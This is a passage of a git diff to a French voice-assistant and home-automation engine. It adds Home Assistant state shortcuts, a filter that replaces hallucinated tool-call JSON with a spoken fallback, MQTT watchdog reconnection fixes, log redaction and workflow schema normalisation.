* 1000.0 diff --git a/core/vocal_host.py b/core/vocal_host.py index b55ee83..99c9d93 100644 --- a/core/vocal_host.py +++ b/core/vocal_host.py @@ -32,6 +32,10 @@ class VocalIntent(str, Enum): "google", "recherche", "cherche sur", "prix de", "cours de", "bitcoin", "resultat", "résultat", "score", "match", "qui a gagne", "qui a gagné", "journal", "presse", "titres", + # Infos fraîches / sorties produits → spécialiste web (pas chat sans outils) + "dernier modele", "dernier modèle", "derniere version", "dernière version", + "vient de sortir", "qui est sorti", "modele sorti", "modèle sorti", + "nouveaute", "nouveauté", "sortie de", ) _CALENDAR_MARKERS = ( "calendrier", "agenda", "rendez-vous", "rendez vous", "rdv", "reunion", @@ -189,6 +193,18 @@ async def _try_zero_llm_ha_command(user_prompt: str) -> str | None: return "Je n'ai pas pu exécuter cette commande." +async def _try_zero_llm_ha_state(user_prompt: str) -> str | None: + """Lecture d'état domotique déterministe (température/état clim/volet/lumière). + + Court-circuite les outils LLM (ha_list/ha_get_state), qui choisissaient parfois + un doublon HS (ex. capteur Sonoff cloud « unavailable ») au lieu de la source + vivante. Retourne None si ce n'est pas une question d'état → la cascade continue. + """ + from services.ha_state_query import resolve_ha_state_query + + return await resolve_ha_state_query(user_prompt) + + async def _process_vocal_job( job_id: str, intent: VocalIntent, @@ -274,6 +290,21 @@ async def handle_discussion( metadata=meta, ) + # 1b) Lectures d'état HA déterministes (température / état) — fiabilité vs outils LLM + try: + state_tts = await _try_zero_llm_ha_state(user_prompt) + except Exception as exc: + logger.warning("[VOCAL_HOST] Zero-LLM état HA échec : %s", exc) + state_tts = None + if state_tts: + meta["ha_zero_llm_state"] = True + return DiscussionHostResult( + response_text=state_tts, + agents_used=["ha_state", "vocal_host"], + routing_type="discussion_ha_state", + metadata=meta, + ) + # 2) Web / calendrier — spécialistes (grounding / OAuth), pas Cerebras tools if intent in _SYNC_SPECIALIST_INTENTS: from core.vocal_jobs import run_vocal_specialist diff --git a/core/vocal_jobs.py b/core/vocal_jobs.py index e23d0e9..9195dca 100644 --- a/core/vocal_jobs.py +++ b/core/vocal_jobs.py @@ -27,7 +27,7 @@ # ── Prompts spécialistes (TTS vocal Tab5) ───────────────────────────── _WEB_SYSTEM_PROMPT = ( - "Tu es l'assistant vocal. Réponds en français en 2 à 3 phrases courtes, " + "Tu es l'assistant vocal d'Axel. Réponds en français en 2 à 3 phrases courtes, " "adaptées à une synthèse vocale. Pas de markdown, pas de listes à puces. " "Appuie-toi sur les résultats de recherche Google si disponibles." ) @@ -125,7 +125,7 @@ async def _call_gemini_search_grounding(user_prompt: str, *, session_id: str) -> _DRIVE_MARKERS = ("drive", "fichier", "document", "pdf", "dossier", "pièce jointe", "piece jointe") _JOB_STATUSES = ("pending", "running", "done", "error", "cancelled") -_DEFAULT_SATELLITE = "assist_satellite.example_satellite" +_DEFAULT_SATELLITE = "assist_satellite.m5stack_tab5_home_assistant_hmi_satellite_assist" def create_vocal_job( diff --git a/core/vocal_session.py b/core/vocal_session.py index 2453d10..3648edc 100644 --- a/core/vocal_session.py +++ b/core/vocal_session.py @@ -31,6 +31,15 @@ def record_vocal_turn( text = str(content).strip()[:_MAX_CONTENT_LEN] if not text: return + # Ne pas polluer l'historique avec des dumps JSON/outils (renforce les hallucinations). + if role == "assistant": + try: + from core.vocal_tts_cache import looks_like_tool_or_code_dump + if looks_like_tool_or_code_dump(text): + logger.info("[VOCAL_SESSION] Tour assistant dump d'outil ignoré") + return + except Exception: + pass try: from core.runtime_db import get_connection @@ -97,9 +106,21 @@ def build_vocal_session_context( turns = get_recent_vocal_turns(conversation_id, max_turns=max_turns) if not turns: return "" + try: + from core.vocal_tts_cache import looks_like_tool_or_code_dump + except Exception: + looks_like_tool_or_code_dump = lambda _t: False # noqa: E731 + lines = ["\n\n[HISTORIQUE VOCAL RÉCENT — ne pas répéter mot pour mot]"] + kept = 0 for turn in turns: - label = "User" if turn["role"] == "user" else "Assistant" - lines.append(f"{label}: {turn['content']}") + content = turn["content"] + if turn["role"] == "assistant" and looks_like_tool_or_code_dump(content): + continue + label = "Axel" if turn["role"] == "user" else "Assistant" + lines.append(f"{label}: {content}") + kept += 1 + if kept == 0: + return "" lines.append("Réponds en tenant compte de cet historique si pertinent.") return "\n".join(lines) diff --git a/core/vocal_tools.py b/core/vocal_tools.py index 0637843..07a5b4f 100644 --- a/core/vocal_tools.py +++ b/core/vocal_tools.py @@ -13,6 +13,8 @@ import os from typing import Any +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA + logger = logging.getLogger(__name__) MAX_TOOL_ROUNDS = 2 @@ -106,7 +108,7 @@ def _ha_credentials() -> tuple[str, str]: ha_url = os.environ.get("HA_URL") or os.environ.get("HASS_URL") or "http://${HA_HOST:-192.168.1.x}:8123" - ha_token = os.environ.get("HA_TOKEN") or os.environ.get("HASS_TOKEN") or "" + ha_token = get_ha_token() return ha_url.rstrip("/"), ha_token @@ -131,7 +133,7 @@ def _tool_ha_list(query: str, domain: str = "") -> str: ha_url, ha_token = _ha_credentials() if not ha_token: - return "Erreur: HASS_TOKEN absent." + return "Erreur: token Home Assistant absent (HASS_TOKEN/HA_TOKEN)." try: resp = _ha_session().get( f"{ha_url}/api/states", @@ -186,7 +188,7 @@ def _tool_ha_get_state(entity_id: str) -> str: ha_url, ha_token = _ha_credentials() if not ha_token: - return "Erreur: HASS_TOKEN absent." + return "Erreur: token Home Assistant absent (HASS_TOKEN/HA_TOKEN)." try: resp = _ha_session().get( f"{ha_url}/api/states/{entity_id}", @@ -260,7 +262,7 @@ def _tool_ha_call_service( ha_url, ha_token = _ha_credentials() if not ha_token: - return "Erreur: HASS_TOKEN absent." + return "Erreur: token Home Assistant absent (HASS_TOKEN/HA_TOKEN)." try: resp = _ha_session().post( diff --git a/core/vocal_tts_cache.py b/core/vocal_tts_cache.py index af3f2c4..9bf6439 100644 --- a/core/vocal_tts_cache.py +++ b/core/vocal_tts_cache.py @@ -17,15 +17,17 @@ logger = logging.getLogger(__name__) -_REPO_ROOT = Path(__file__).resolve().parents[1] -_PHRASES_YAML = _REPO_ROOT / "scripts" / "domotic_phrases.example.yaml" +_REPO_ROOT = Path(__file__).resolve().parents[2] +_PHRASES_YAML = _REPO_ROOT / "scripts" / "domotic_phrases.yaml" _CACHE_DIRS = ( - _REPO_ROOT / "audio_lib", + _REPO_ROOT / "00ProjetTab" / "audio_lib", + Path(r".\00ProjetTab\audio_lib"), + Path(r".\00ProjetTab\audio_lib"), ) # Phrases fixes du moteur (fallback si domotic_phrases.yaml absent sur le Deck) _EXTRA_PHRASES: dict[str, str] = { - "vocal_bonjour": "Bonjour, que veux-tu contrôler ?", + "vocal_bonjour_axel": "Bonjour Axel, que veux-tu contrôler ?", "vocal_merci": "De rien. Que veux-tu contrôler ?", "vocal_ha_echec": "Je n'ai pas compris la commande domotique.", "lum_salon_on": "Lumière du salon allumée.", @@ -43,17 +45,17 @@ # entity_id HA → (service fragment → phrase_id) _ENTITY_SERVICE_PHRASES: dict[str, dict[str, str]] = { - "light.salon": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, - "light.h6008_2": {"turn_on": "lum_chambre_on", "turn_off": "lum_chambre_off"}, - "light.h6008": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, - "light.h600c": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, + "light.living_room": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, + "light.bedroom": {"turn_on": "lum_chambre_on", "turn_off": "lum_chambre_off"}, + "light.bedside": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, + "light.hallway": {"turn_on": "lum_salon_on", "turn_off": "lum_salon_off"}, "light.cuisine": {"turn_on": "lum_cuisine_on", "turn_off": "lum_cuisine_off"}, "light.chambre": {"turn_on": "lum_chambre_on", "turn_off": "lum_chambre_off"}, "light.jardin": {"turn_on": "lum_jardin_on", "turn_off": "lum_jardin_off"}, - "climate.salon_daikinap71273_clim": {"turn_on": "clim_salon_on", "turn_off": "clim_salon_off"}, + "climate.living_room": {"turn_on": "clim_salon_on", "turn_off": "clim_salon_off"}, "climate.salon": {"turn_on": "clim_salon_on", "turn_off": "clim_salon_off"}, "climate.chambre": {"turn_on": "clim_chambre_on", "turn_off": "clim_chambre_off"}, - "cover.volet_serre_rideau": {"open_cover": "vol_salon_ouvert", "close_cover": "vol_salon_ferme"}, + "cover.living_room_blind": {"open_cover": "vol_salon_ouvert", "close_cover": "vol_salon_ferme"}, } @@ -119,15 +121,67 @@ def cache_file_for_phrase(phrase_id: str) -> Path | None: return None +# Réponse de repli si le LLM invente un appel d'outil / du JSON technique. +_TOOL_DUMP_FALLBACK = ( + "Je ne peux pas vérifier ça en direct ici : je n'ai pas d'accès aux outils " + "ni à une recherche web pour cette question. Dis-moi autrement ce dont tu as besoin, " + "ou demande la météo, l'actu ou ton agenda si tu veux une recherche." +) + +# Signatures typiques d'un dump d'outil halluciné (Cerebras / gpt-oss). +_TOOL_DUMP_MARKERS = ( + '{"tool"', + '{"tool":', + '"tool_calls"', + '"arguments":', + "we will call the mcp", + "call the mcp tool", + "search_ha_entities", + "get_models_catalog", + "tab5-engine", + "ha-custom", + '"status": "success"', + '"status":"success"', + "function_call", + "<|tool", + "tool_request", +) + + +def looks_like_tool_or_code_dump(text: str) -> bool: + """True si la réponse ressemble à du JSON d'outil / code technique, pas du français TTS.""" + if not text or not str(text).strip(): + return False + raw = str(text).strip() + low = raw.lower() + if any(m in low for m in _TOOL_DUMP_MARKERS): + return True + # Trop de structure JSON / code vs texte naturel + braces = raw.count("{") + raw.count("}") + raw.count("[") + raw.count("]") + if braces >= 6 and ("{" in raw[:80] or raw.lstrip().startswith("{")): + return True + if raw.count('"') >= 12 and ("{" in raw or "[" in raw): + return True + # Blocs de code restants + if "```" in raw or low.startswith("import ") or low.startswith("def "): + return True + return False + + def sanitize_discussion_tts(text: str, max_sentences: int = 3, max_chars: int = 420) -> str: """ Nettoie une réponse LLM pour le mode Discussion vocal Tab5. - Supprime le markdown et limite la longueur pour un TTS fluide. + Supprime le markdown, refuse les dumps d'outils/JSON, limite la longueur TTS. """ if not text: return "" t = str(text).strip() + if looks_like_tool_or_code_dump(t): + return _TOOL_DUMP_FALLBACK t = re.sub(r"```.*?```", " ", t, flags=re.DOTALL) + # Seconde passe après retrait des fences + if looks_like_tool_or_code_dump(t): + return _TOOL_DUMP_FALLBACK t = re.sub(r"\*\*([^*]+)\*\*", r"\1", t) t = re.sub(r"\*([^*]+)\*", r"\1", t) t = re.sub(r"#{1,6}\s*", "", t) @@ -136,6 +190,8 @@ def sanitize_discussion_tts(text: str, max_sentences: int = 3, max_chars: int = t = re.sub(r"\[([^\]]+)\]\([^)]+\)", r"\1", t) t = re.sub(r"\n+", " ", t) t = re.sub(r"\s+", " ", t).strip() + if looks_like_tool_or_code_dump(t): + return _TOOL_DUMP_FALLBACK parts = re.split(r"(?<=[.!?…])\s+", t) if len(parts) > max_sentences: t = " ".join(parts[:max_sentences]).strip() diff --git a/core/watchdog.py b/core/watchdog.py index db68963..179e94e 100644 --- a/core/watchdog.py +++ b/core/watchdog.py @@ -14,8 +14,9 @@ import logging import re import time +from collections.abc import Callable from dataclasses import dataclass, field -from typing import Any, Callable, Optional +from typing import Any logger = logging.getLogger("watchdog") @@ -36,8 +37,8 @@ def _build_rules() -> list[tuple[re.Pattern, re.Pattern, str]]: class WatchdogConfig: mqtt_host: str = "${HA_HOST:-192.168.1.x}" mqtt_port: int = 1883 - mqtt_username: Optional[str] = None - mqtt_password: Optional[str] = None + mqtt_username: str | None = None + mqtt_password: str | None = None mqtt_client_id: str = "watchdog-domus" moteur_url: str = "http://localhost:8000" moteur_model: str = "auto" @@ -45,6 +46,7 @@ class WatchdogConfig: backoff_initial: float = 1.0 backoff_max: float = 60.0 backoff_factor: float = 2.0 + connect_timeout: float = 15.0 # délai max d'attente du CONNACK avant retry topics: tuple[str, ...] = ( "homeassistant/status", "esphome/+/status", @@ -68,15 +70,15 @@ def __init__(self, config: WatchdogConfig | None = None): self.config = config or WatchdogConfig() self._rules = _build_rules() self._queue: asyncio.Queue[tuple[str, str]] = asyncio.Queue() - self._loop: Optional[asyncio.AbstractEventLoop] = None + self._loop: asyncio.AbstractEventLoop | None = None self._mqtt_client = None self._connected = asyncio.Event() self._stopping = asyncio.Event() self._last_alert: dict[str, float] = {} self._http = None - self._consumer_task: Optional[asyncio.Task] = None - self._supervisor_task: Optional[asyncio.Task] = None - self._log_poller_task: Optional[asyncio.Task] = None + self._consumer_task: asyncio.Task | None = None + self._supervisor_task: asyncio.Task | None = None + self._log_poller_task: asyncio.Task | None = None self._stats: dict[str, int] = { "messages_received": 0, "alerts_emitted": 0, @@ -209,7 +211,7 @@ async def _consumer(self) -> None: while not self._stopping.is_set(): try: topic, payload = await asyncio.wait_for(self._queue.get(), timeout=1.0) - except asyncio.TimeoutError: + except TimeoutError: continue except asyncio.CancelledError: raise @@ -228,6 +230,33 @@ def _on_message(self, client, userdata, msg) -> None: userdata["queue"].put_nowait, (msg.topic, payload) ) + def _on_connect(self, client, userdata, connect_flags, reason_code, properties=None) -> None: + """Callback de connexion (paho API v2, appelé depuis le thread réseau). + + Souscrit aux topics PUIS débloque le superviseur. Les deux actions doivent + être séquentielles : les combiner en une expression `or` faisait sauter le + `set()` (une liste de souscriptions non vide est toujours vraie). + """ + if client is not self._mqtt_client: + # CONNACK tardif d'une tentative déjà abandonnée (délai de connexion + # expiré) : l'honorer poserait `_connected` alors que le client courant, + # lui, n'est pas connecté — le superviseur repartirait dans sa boucle + # interne sans MQTT, exactement le blocage que ce module corrige. + logger.debug("[WATCHDOG] CONNACK ignoré : provient d'une tentative abandonnée.") + return + if reason_code.is_failure: + logger.error("[WATCHDOG] Connexion MQTT refusée par le broker : %s", reason_code) + return + for topic in self.config.topics: + client.subscribe(topic, qos=1) + self._loop.call_soon_threadsafe(self._connected.set) + + def _on_disconnect(self, client, userdata, disconnect_flags, reason_code, properties=None) -> None: + """Callback de déconnexion (paho API v2) : réveille le superviseur pour le backoff.""" + if client is not self._mqtt_client: + return # déconnexion d'un client abandonné : sans effet sur le courant + self._loop.call_soon_threadsafe(self._connected.clear) + async def _supervisor(self) -> None: try: import paho.mqtt.client as mqtt @@ -238,7 +267,15 @@ async def _supervisor(self) -> None: backoff = self.config.backoff_initial while not self._stopping.is_set(): try: + # Repartir d'un état « déconnecté » à chaque tentative. Sans ce + # clear, un CONNACK arrivé juste après l'expiration du délai + # laissait `_connected` posé : le `wait_for` de la tentative + # suivante rendait la main immédiatement et le superviseur se + # croyait connecté alors que son client ne l'était pas. + self._connected.clear() + client = mqtt.Client( + mqtt.CallbackAPIVersion.VERSION2, client_id=self.config.mqtt_client_id, clean_session=True, ) @@ -247,19 +284,41 @@ async def _supervisor(self) -> None: client.user_data_set({"loop": self._loop, "queue": self._queue}) client.on_message = self._on_message - client.on_connect = lambda c, u, f, rc, p=None: ( - [c.subscribe(t, qos=1) for t in self.config.topics] - or self._loop.call_soon_threadsafe(self._connected.set) - ) if rc == 0 else None - client.on_disconnect = lambda c, u, rc, p=None: ( - self._loop.call_soon_threadsafe(self._connected.clear) - ) + client.on_connect = self._on_connect + client.on_disconnect = self._on_disconnect + # Publier le client AVANT de lancer la boucle réseau : les callbacks + # comparent leur `client` à celui-ci pour écarter les tentatives + # abandonnées, et un CONNACK très rapide ne doit pas être pris pour + # un retardataire. + self._mqtt_client = client client.connect(self.config.mqtt_host, self.config.mqtt_port, keepalive=60) client.loop_start() - self._mqtt_client = client - await self._connected.wait() + # Un CONNACK refusé (identifiants invalides) ne passe jamais par + # _connected : borner l'attente évite un blocage définitif ici. + try: + await asyncio.wait_for( + self._connected.wait(), timeout=self.config.connect_timeout + ) + except TimeoutError: + # Abandonner ce client : le retirer d'abord de `_mqtt_client`, + # pour qu'un CONNACK arrivant pendant l'arrêt soit écarté par + # les callbacks au lieu de poser `_connected` pour rien. + self._mqtt_client = None + try: + client.disconnect() + except Exception as exc: # noqa: BLE001 — client jamais connecté + logger.debug("[WATCHDOG] disconnect() du client abandonné : %s", exc) + client.loop_stop() + logger.warning( + "[WATCHDOG] Aucun CONNACK en %.0fs, retry dans %.1fs", + self.config.connect_timeout, backoff, + ) + await asyncio.sleep(backoff) + backoff = min(backoff * self.config.backoff_factor, self.config.backoff_max) + continue + backoff = self.config.backoff_initial while not self._stopping.is_set() and self._connected.is_set(): @@ -288,13 +347,13 @@ async def _log_poller(self) -> None: try: await asyncio.wait_for(self._stopping.wait(), timeout=self.config.log_poll_interval) break - except asyncio.TimeoutError: + except TimeoutError: pass if os.path.exists(self.config.ha_log_path): def read_tail(): try: - with open(self.config.ha_log_path, 'r', encoding='utf-8', errors='ignore') as f: + with open(self.config.ha_log_path, encoding='utf-8', errors='ignore') as f: f.seek(0, 2) size = f.tell() f.seek(max(0, size - 500000)) @@ -304,7 +363,7 @@ def read_tail(): lines = await asyncio.to_thread(read_tail) error_lines = [l for l in lines if "ERROR" in l or "Traceback" in l or "Bootloop" in l] - + if error_lines: payload = "".join(error_lines[-5:])[:500] self._loop.call_soon_threadsafe( diff --git a/core/whatsapp_service.py b/core/whatsapp_service.py index 8750bc6..dab9070 100644 --- a/core/whatsapp_service.py +++ b/core/whatsapp_service.py @@ -7,9 +7,9 @@ 3. CallMeBot API (Unidirectionnel en secours) """ -import os -import logging import asyncio +import logging +import os from typing import Optional logger = logging.getLogger(__name__) @@ -22,24 +22,24 @@ class WhatsAppService: def __new__(cls, *args, **kwargs): if not cls._instance: - cls._instance = super(WhatsAppService, cls).__new__(cls, *args, **kwargs) + cls._instance = super().__new__(cls, *args, **kwargs) cls._instance._initialized = False return cls._instance def __init__(self): if self._initialized: return - + # Chargement des configurations depuis l'environnement self.twilio_sid = os.getenv("TWILIO_ACCOUNT_SID", "").strip() self.twilio_token = os.getenv("TWILIO_AUTH_TOKEN", "").strip() self.twilio_from = os.getenv("TWILIO_PHONE_NUMBER", "whatsapp:+14155238886").strip() - + self.meta_token = os.getenv("META_WHATSAPP_ACCESS_TOKEN", "").strip() self.meta_phone_id = os.getenv("META_WHATSAPP_PHONE_NUMBER_ID", "").strip() - + self.default_to = os.getenv("WHATSAPP_USER_PHONE_NUMBER", "").strip() - + # Optionnel: CallMeBot pour les notifications rapides self.callmebot_apikey = os.getenv("CALLMEBOT_APIKEY", "").strip() @@ -56,10 +56,10 @@ def __init__(self): else: self.mode = "disabled" logger.warning("[WHATSAPP] Aucune configuration valide trouvée. Le service WhatsApp est désactivé.") - + self._initialized = True - async def send_message(self, message: str, to: Optional[str] = None) -> bool: + async def send_message(self, message: str, to: str | None = None) -> bool: """ Envoie un message WhatsApp de manière asynchrone. @@ -73,7 +73,7 @@ async def send_message(self, message: str, to: Optional[str] = None) -> bool: if self.mode == "disabled": logger.error("[WHATSAPP] Impossible d'envoyer le message : service désactivé.") return False - + target_to = to or self.default_to if not target_to: logger.error("[WHATSAPP] Aucun numéro de destinataire configuré.") @@ -99,19 +99,19 @@ async def _send_twilio(self, message: str, to: str) -> bool: """Envoi via l'API REST de Twilio.""" account_sid = self.twilio_sid auth_token = self.twilio_token - + # Twilio attend les numéros sous le format "whatsapp:+33612345678" twilio_to = to if to.startswith("whatsapp:") else f"whatsapp:{to}" twilio_from = self.twilio_from if self.twilio_from.startswith("whatsapp:") else f"whatsapp:{self.twilio_from}" - + url = f"https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Messages.json" - + data = { "To": twilio_to, "From": twilio_from, "Body": message } - + try: # On tente d'utiliser httpx si disponible, sinon on fait un fallback vers requests dans un thread try: @@ -128,7 +128,7 @@ async def _send_twilio(self, message: str, to: str) -> bool: import requests def sync_post(): return requests.post(url, auth=(account_sid, auth_token), data=data, timeout=15) - + response = await asyncio.to_thread(sync_post) if response.status_code in [200, 201]: logger.info(f"[WHATSAPP] Message envoyé avec succès via Twilio (requests) à {twilio_to}") @@ -145,12 +145,12 @@ async def _send_meta(self, message: str, to: str) -> bool: # Enlever "whatsapp:" si présent pour l'API Meta clean_to = to.replace("whatsapp:", "").replace("+", "") url = f"https://graph.facebook.com/v18.0/{self.meta_phone_id}/messages" - + headers = { "Authorization": f"Bearer {self.meta_token}", "Content-Type": "application/json" } - + payload = { "messaging_product": "whatsapp", "recipient_type": "individual", @@ -161,7 +161,7 @@ async def _send_meta(self, message: str, to: str) -> bool: "body": message } } - + try: try: import httpx @@ -177,7 +177,7 @@ async def _send_meta(self, message: str, to: str) -> bool: import requests def sync_post(): return requests.post(url, headers=headers, json=payload, timeout=15) - + response = await asyncio.to_thread(sync_post) if response.status_code in [200, 201]: logger.info(f"[WHATSAPP] Message envoyé avec succès via Meta requests à {clean_to}") @@ -193,13 +193,13 @@ async def _send_callmebot(self, message: str, to: str) -> bool: """Envoi via CallMeBot (notifications unidirectionnelles).""" clean_to = to.replace("whatsapp:", "") url = "https://api.callmebot.com/whatsapp.php" - + params = { "phone": clean_to, "text": message, "apikey": self.callmebot_apikey } - + try: try: import httpx @@ -215,7 +215,7 @@ async def _send_callmebot(self, message: str, to: str) -> bool: import requests def sync_get(): return requests.get(url, params=params, timeout=15) - + response = await asyncio.to_thread(sync_get) if response.status_code == 200: logger.info(f"[WHATSAPP] Message envoyé avec succès via CallMeBot requests à {clean_to}") diff --git a/core/worker_daemon.py b/core/worker_daemon.py index 99c45a7..ce6ddcf 100644 --- a/core/worker_daemon.py +++ b/core/worker_daemon.py @@ -23,13 +23,13 @@ abandonner le concept Swarm. """ +import argparse +import asyncio +import logging import os import sys import time -import logging -import argparse -import asyncio -from typing import Optional, Dict, Any +from typing import Any # Ajout du répertoire parent au path pour importer les modules du moteur sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -39,9 +39,9 @@ # Déférer l'import FastAPI pour éviter les dépendances si non installé _HAS_FASTAPI = False try: + import uvicorn from fastapi import FastAPI, HTTPException from pydantic import BaseModel - import uvicorn _HAS_FASTAPI = True except ImportError: pass @@ -75,7 +75,7 @@ def __init__(self, name: str, port: int, host: str = "0.0.0.0"): self._start_time = time.time() self._tasks_completed = 0 self._tasks_failed = 0 - self._current_task: Optional[str] = None + self._current_task: str | None = None self._gateway = None def _get_gateway(self): @@ -89,7 +89,7 @@ def _get_gateway(self): logger.error(f"[WORKER:{self.name}] Erreur LLMGateway : {e}") return self._gateway - async def execute_task(self, request: dict) -> Dict[str, Any]: + async def execute_task(self, request: dict) -> dict[str, Any]: """ Exécute une tâche localement et retourne le résultat. @@ -177,7 +177,7 @@ async def execute_task(self, request: dict) -> Dict[str, Any]: }, } - def get_status(self) -> Dict[str, Any]: + def get_status(self) -> dict[str, Any]: """Retourne l'état actuel du worker (pour heartbeat/monitoring).""" return { "name": self.name, @@ -251,6 +251,10 @@ def main(): level=logging.INFO, format="%(asctime)s [%(levelname)s] %(name)s - %(message)s" ) + # [#T262] Même filet que le serveur principal : un worker journalise les + # mêmes exceptions de providers, donc les mêmes URLs porteuses de clé. + from core.log_redaction import installer_redaction + installer_redaction() daemon = WorkerDaemon(name=args.name, port=args.port, host=args.host) app = daemon.create_app() diff --git a/core/worker_registry.py b/core/worker_registry.py index fcfe1fc..d0437de 100644 --- a/core/worker_registry.py +++ b/core/worker_registry.py @@ -15,13 +15,12 @@ - Le worker a répondu au dernier heartbeat """ -import os -import time import json import logging -import asyncio -from typing import Optional, Dict, List, Any +import os +import time from dataclasses import dataclass, field +from typing import Any logger = logging.getLogger(__name__) @@ -52,13 +51,13 @@ class WorkerInfo: last_heartbeat: float = 0.0 tasks_completed: int = 0 tasks_failed: int = 0 - current_task: Optional[str] = None - capabilities: List[str] = field(default_factory=list) + current_task: str | None = None + capabilities: list[str] = field(default_factory=list) # Métriques système enrichies via heartbeat cpu_percent: float = 0.0 # Charge CPU du worker (%) ram_percent: float = 0.0 # RAM utilisée (%) lm_studio_online: bool = False # True si LM Studio répond sur le worker - lm_studio_models: List[str] = field(default_factory=list) # Modèles chargés + lm_studio_models: list[str] = field(default_factory=list) # Modèles chargés class WorkerRegistry: @@ -70,14 +69,14 @@ class WorkerRegistry: """ def __init__(self): - self._workers: Dict[str, WorkerInfo] = {} + self._workers: dict[str, WorkerInfo] = {} self._load_config() def _load_config(self): """Charge les workers depuis workers.json si le fichier existe.""" if os.path.exists(_WORKERS_CONFIG): try: - with open(_WORKERS_CONFIG, 'r', encoding='utf-8') as f: + with open(_WORKERS_CONFIG, encoding='utf-8') as f: data = json.load(f) for entry in data.get("workers", []): name = entry.get("name", "") @@ -112,7 +111,7 @@ def unregister(self, name: str): def get_available_worker( self, task_category: str = "general" - ) -> Optional[WorkerInfo]: + ) -> WorkerInfo | None: """ Retourne un worker disponible pour le type de tâche donné. @@ -142,7 +141,7 @@ def get_available_worker( return None - def get_lmstudio_worker(self) -> Optional[WorkerInfo]: + def get_lmstudio_worker(self) -> WorkerInfo | None: """ Retourne le premier worker avec LM Studio actif et non surchargé. Utilisé par MLRouter / ha_fuzzy_matcher pour les embeddings distants. @@ -162,7 +161,7 @@ async def dispatch_task( self, worker: WorkerInfo, task_payload: dict, - ) -> Dict[str, Any]: + ) -> dict[str, Any]: """ Envoie une tâche à un worker distant via HTTP POST. @@ -208,7 +207,7 @@ async def dispatch_task( f"Worker '{worker.name}' erreur {resp.status}: {text[:200]}" ) - except asyncio.TimeoutError: + except TimeoutError: worker.status = "offline" worker.current_task = None worker.tasks_failed += 1 @@ -265,7 +264,7 @@ async def heartbeat_all(self): except Exception: worker.status = "offline" - def get_all_status(self) -> List[Dict[str, Any]]: + def get_all_status(self) -> list[dict[str, Any]]: """Retourne l'état enrichi de tous les workers enregistrés.""" return [ { @@ -288,8 +287,8 @@ def get_all_status(self) -> List[Dict[str, Any]]: ] -# Singleton global pour le Swarm de Workers -_global_registry_instance: Optional[WorkerRegistry] = None +# Singleton global pour le Swarm de Workers +_global_registry_instance: WorkerRegistry | None = None def get_worker_registry() -> WorkerRegistry: diff --git a/core/workflow_bridge.py b/core/workflow_bridge.py index 5d9ce7c..20e221f 100644 --- a/core/workflow_bridge.py +++ b/core/workflow_bridge.py @@ -5,10 +5,9 @@ la configuration des agents au Planner, à la Factory et au gui_server. """ -import os import json import logging -from typing import Optional +import os logger = logging.getLogger(__name__) @@ -25,6 +24,69 @@ NON_TARGETABLE_AGENTS = {"planner", "router"} +def _infer_condition(conn: dict) -> str | None: + """[Audit 2026-07-09, #T211] Résout la condition d'une connexion, quel que soit + le champ utilisé selon la version de l'éditeur HMI : `condition` (générique, si + jamais présent), `fromPort` (ancien éditeur HMI v1 — ex. "out-true"/"out-false"), + `label` (éditeur React Flow / ihm-v2 — même convention "out-true"/"out-false").""" + condition = conn.get("condition") + if condition is not None: + return condition + port = conn.get("fromPort") or conn.get("label") or "" + if port == "out-true": + return "success" + if port == "out-false": + return "error" + return None # "out" ou toute autre valeur = connexion toujours active + + +def _normalize_workflow(data: dict) -> dict: + """[Audit 2026-07-09, #T211] Normalise un workflow — ancien schéma HMI v1 + (nodes[].agentName/tier en racine, connections[].from/to/fromPort) OU nouveau + schéma React Flow de l'éditeur ihm-v2 (nodes[].data.agent/tier, edges[].source/ + target/label) — vers la forme interne attendue par le reste de ce module. + Idempotent : un workflow déjà au format interne traverse sans changement. + """ + normalized_nodes = [] + for node in data.get("nodes", []): + node_data = node.get("data") if isinstance(node.get("data"), dict) else {} + agent_name = node.get("agentName") or node_data.get("agent") or "" + if agent_name == "?": + # Placeholder de l'éditeur React Flow pour "aucun agent assigné" + # (nœuds départ/condition/fin) — équivalent du agentName: null legacy. + agent_name = "" + tier = node.get("tier") if node.get("tier") is not None else node_data.get("tier", "automatique") + label = node.get("label") or node_data.get("label") or agent_name + icon = node.get("icon") or node_data.get("icon") or "🤖" + # [#T233] Permissions d'outils : lu dans data (schéma React Flow) ou en + # racine du nœud (legacy), absent/null = tous les outils, [] = aucun. + allowed_tools = ( + node.get("allowed_tools") + if node.get("allowed_tools") is not None + else node_data.get("allowed_tools") + ) + normalized_nodes.append({ + **node, "agentName": agent_name, "tier": tier, "label": label, + "icon": icon, "allowed_tools": allowed_tools, + }) + + raw_connections = data.get("connections") + if raw_connections is None: + raw_connections = data.get("edges", []) + + normalized_connections = [ + { + **conn, + "from": conn.get("from") or conn.get("source"), + "to": conn.get("to") or conn.get("target"), + "condition": _infer_condition(conn), + } + for conn in raw_connections + ] + + return {**data, "nodes": normalized_nodes, "connections": normalized_connections} + + class WorkflowBridge: """ Pont entre le fichier agents_workflows.json (HMI) et le moteur Python. @@ -38,20 +100,20 @@ class WorkflowBridge: def __init__(self, workflow_path: str = _DEFAULT_WORKFLOW_PATH): self.workflow_path = workflow_path - self._cache: Optional[dict] = None + self._cache: dict | None = None def load_workflow(self) -> dict: - """Charge et met en cache le fichier de workflow.""" + """Charge et met en cache le fichier de workflow (normalisé, cf. _normalize_workflow).""" try: if os.path.exists(self.workflow_path): - with open(self.workflow_path, "r", encoding="utf-8") as f: - data = json.load(f) + with open(self.workflow_path, encoding="utf-8") as f: + data = _normalize_workflow(json.load(f)) self._cache = data logger.info(f"[WORKFLOW_BRIDGE] Workflow chargé : {len(data.get('nodes', []))} nœuds, {len(data.get('connections', []))} connexions.") return data except Exception as e: logger.warning(f"[WORKFLOW_BRIDGE] Impossible de charger le workflow : {e}") - + self._cache = {"nodes": [], "connections": []} return self._cache @@ -121,6 +183,8 @@ def get_custom_agents_config(self) -> list[dict]: "label": node.get("label", name), "tier": node.get("tier", "automatique"), "icon": node.get("icon", "🤖"), + # [#T233] Permissions d'outils (absent/None = tous, [] = aucun) + "allowed_tools": node.get("allowed_tools"), }) return configs @@ -155,7 +219,7 @@ def 